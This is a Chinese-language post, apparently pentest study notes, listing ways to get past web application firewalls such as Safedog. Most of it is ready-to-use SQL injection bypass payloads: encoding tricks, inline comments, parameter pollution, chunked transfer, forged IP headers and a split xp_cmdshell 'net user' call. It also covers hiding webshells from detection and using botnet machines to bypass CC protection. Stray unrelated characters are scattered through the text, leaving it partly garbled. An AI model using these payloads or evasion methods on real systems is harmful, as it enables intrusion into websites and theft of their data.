waf簡(jiǎn)介:
網(wǎng)站W(wǎng)AF是一款服務(wù)器安全防護(hù)軟件,是為IDC運(yùn)營(yíng)商贝椿、虛擬主機(jī)服務(wù)商所计、企業(yè)主機(jī)、服務(wù)器管理者等用戶提供服務(wù)器安全防范的實(shí)用系統(tǒng)团秽,是集網(wǎng)站內(nèi)容安全防護(hù)主胧、網(wǎng)站資源保護(hù)及網(wǎng)站流量保護(hù)功能為一體的服務(wù)器工具。常見的系統(tǒng)攻擊分為兩類:一是利用Web服務(wù)器的漏洞進(jìn)行攻擊习勤,如DDOS攻擊踪栋、病毒木馬破壞等攻擊;二是利用網(wǎng)頁自身的安全漏洞進(jìn)行攻擊图毕,如SQL注入攻擊夷都、跨站腳本攻擊等。常見攻擊方式對(duì)網(wǎng)站服務(wù)器帶來的危害主要集中在病毒木馬破壞予颤、網(wǎng)頁非法篡改囤官、各類網(wǎng)絡(luò)攻擊帶來的威脅。
以下都是用安全狗3.0測(cè)試的奧蛤虐。(很多4.0都已經(jīng)繞不過去了党饮,重在學(xué)習(xí)思路)
1、白名單繞過
(注:現(xiàn)在基本都是自定義白名單驳庭,不是默認(rèn)的啦)
360webscan腳本存在這個(gè)問題刑顺,就是判斷是否為admin dede install等目錄,如果是則不做攔截
比如:www.spisec.com/pen/news.php?id=1?union?select?user,password?from?mysql.user
可以改為:
www.spisec.com/pen/news.php/admin?id=1?union?select?user,password?from?mysql.user
或者
www.spisec.com/pen/admin/..\news.php?id=1?union?select?user,password?from?mysql.user
詳細(xì)的見:?http://www.wooyun.org/bugs/wooyun-2014-050576
2饲常、大小寫繞過
我這里雖然被攔截了但是有的waf是可以繞過的蹲堂。
3、雙寫繞過注入
將and雙寫為anandd
4贝淤、編碼繞過注入
用bp對(duì)and進(jìn)行兩次編碼柒竞。(因?yàn)榉?wù)器會(huì)自動(dòng)對(duì)URL進(jìn)行一次URL解碼,所以需要把關(guān)鍵字編碼兩次)
5播聪、內(nèi)聯(lián)注釋繞過注入
將id=1 and 1=1 寫為? id=1/*!and*/1=1? (這種方式安全狗最新版本已經(jīng)過濾了朽基,但是對(duì)很多waf還是有用的)
6、修改請(qǐng)求方式繞過
過濾了get但是沒有過濾post犬耻、cookie踩晶。waf默認(rèn)是關(guān)閉的执泰,
7枕磁、復(fù)參數(shù)繞過? (&id=)
例如一個(gè)請(qǐng)求是這樣的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改為
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以這樣繞,測(cè)試最新版WAF能繞過部分語句术吝。
8计济、特殊字符替換空格
用一些特殊字符代替空格茸苇,比如在mysql中%0a是換行,可以代替空格沦寂,這個(gè)方法也可以部分繞過最新版本的WAF学密,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:mysql:%0a/**/可以繞過最新版本W(wǎng)AF? ? ? sqlerver: /**/
/*|%23--%23|*/?
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
這條語句不行传藏,看一下防護(hù)日志腻暮,是因?yàn)榘製aer函數(shù)加入黑名單啦。替換user即可毯侦。
9哭靖、特殊字符拼接? (+)
把特殊字符拼接起來繞過WAF的檢測(cè),比如在Mysql中侈离,可以利用注釋/**/來繞過试幽,在mssql中,函數(shù)里面可以用+來拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10卦碾、利用WAF本身的功能繞過
?把"*"替換為空
例:uni*on+sel*ect+1,2,3,4....(這種方法不適用于安全狗)
假如你發(fā)現(xiàn)WAF會(huì)把"*"替換為空铺坞,那么你就可以利用這一特性來進(jìn)行繞過???? ? ? ?http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
11、使用其他變量或者命令對(duì)注入語句進(jìn)行替換
COMMAND | WHAT TO USE INSTEAD
version()|?@@version?
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
12洲胖、以上方法組合繞過??
(如果user函數(shù)都能繞過去济榨,那基本通殺,因?yàn)閷?duì)user()這樣的函數(shù)保護(hù)的最好)
1绿映、 替換法+URL編碼
例:先判斷注入點(diǎn)腿短,把a(bǔ)nd為&&,urlencode后為%26%26? ? ??
http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2
2绘梦、注釋+替換法
3橘忱、內(nèi)聯(lián)注釋+替換法
1.利用()代替空格
2.利用mysql特性/*!*/執(zhí)行語句
3.利用/**/混淆代碼
我給出的注入語句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23? ?(50010代表數(shù)據(jù)庫(kù)版本)
這里要注意的幾點(diǎn)是:
1.mysql關(guān)鍵字中是不能插入/**/的,即se/**/lect是會(huì)報(bào)錯(cuò)的卸奉,但是函數(shù)名和括號(hào)之間是可以加上/**/的,像database/**/()這樣的代碼是可以執(zhí)行的
2./*!*/中間的代碼是可以執(zhí)行的钝诚,其中50010為mysql版本號(hào),只要mysql大于這個(gè)版本就會(huì)執(zhí)行里面的代碼
3.數(shù)據(jù)或者函數(shù)周圍可以無限嵌套()
4.利用好%00 ?user())
最新過waf方法:http://192.168.60.68/sql.php?id=1/*!union*//*%!aa*//*!select*/1,2,3,4
13榄棵、分塊傳輸 (很重要凝颇,必須掌握)(4.0也可過)
過post方法 (bp可直接把get方式改為post)
添加http頭信息
Transfer-Encoding: Chunked
(4 6 7 2 8 3 這些后面也可以直接加? ;hfdj? ?來 干擾 也不會(huì)影響)
或
還可以用此方法也可以過(注意觀察d)(有的時(shí)候可以)
14、云waf直接找真實(shí)IP
15疹鳄、waf工具繞過? (繞云waf很有效)
(這個(gè)方法也是偽造IP頭拧略。X-Originating-IP:?127.0.0.1
X-Forwarded-For:?127.0.0.1
X-Remote-IP:?127.0.0.1
X-Remote-Addr:?127.0.0.1
X-Client-IP:?127.0.0.1
)
工具:bp里邊插件擴(kuò)展里bypass waf 。
16瘪弓、路徑隨意跳轉(zhuǎn)法 可以使用../來完成
XSS過狗
(其他的語句可進(jìn)行URL編碼)
因?yàn)槔鲜菑棿暗媲越貓D,還有很多看突破安全狗文檔。
二袱饭、網(wǎng)馬免殺
1川无、把馬創(chuàng)建成函數(shù),后面只要調(diào)用函數(shù)就行
2虑乖、變量覆蓋
3懦趋、組合法(怎么組合s)
4、在線加密
5疹味、文件包含
防盜鏈繞過:修改Referer頭仅叫。
防cc繞過:可以控制大量的肉雞同時(shí)訪問
擴(kuò)展筆記:(代碼加密兩個(gè)原因:1、繞過過濾waf啥的糙捺,2惑芭、留后門)
php:mumaasp.com? 這個(gè)網(wǎng)站有很多后門木馬,但是一旦用了會(huì)給網(wǎng)站的人留后門继找,別用啊遂跟。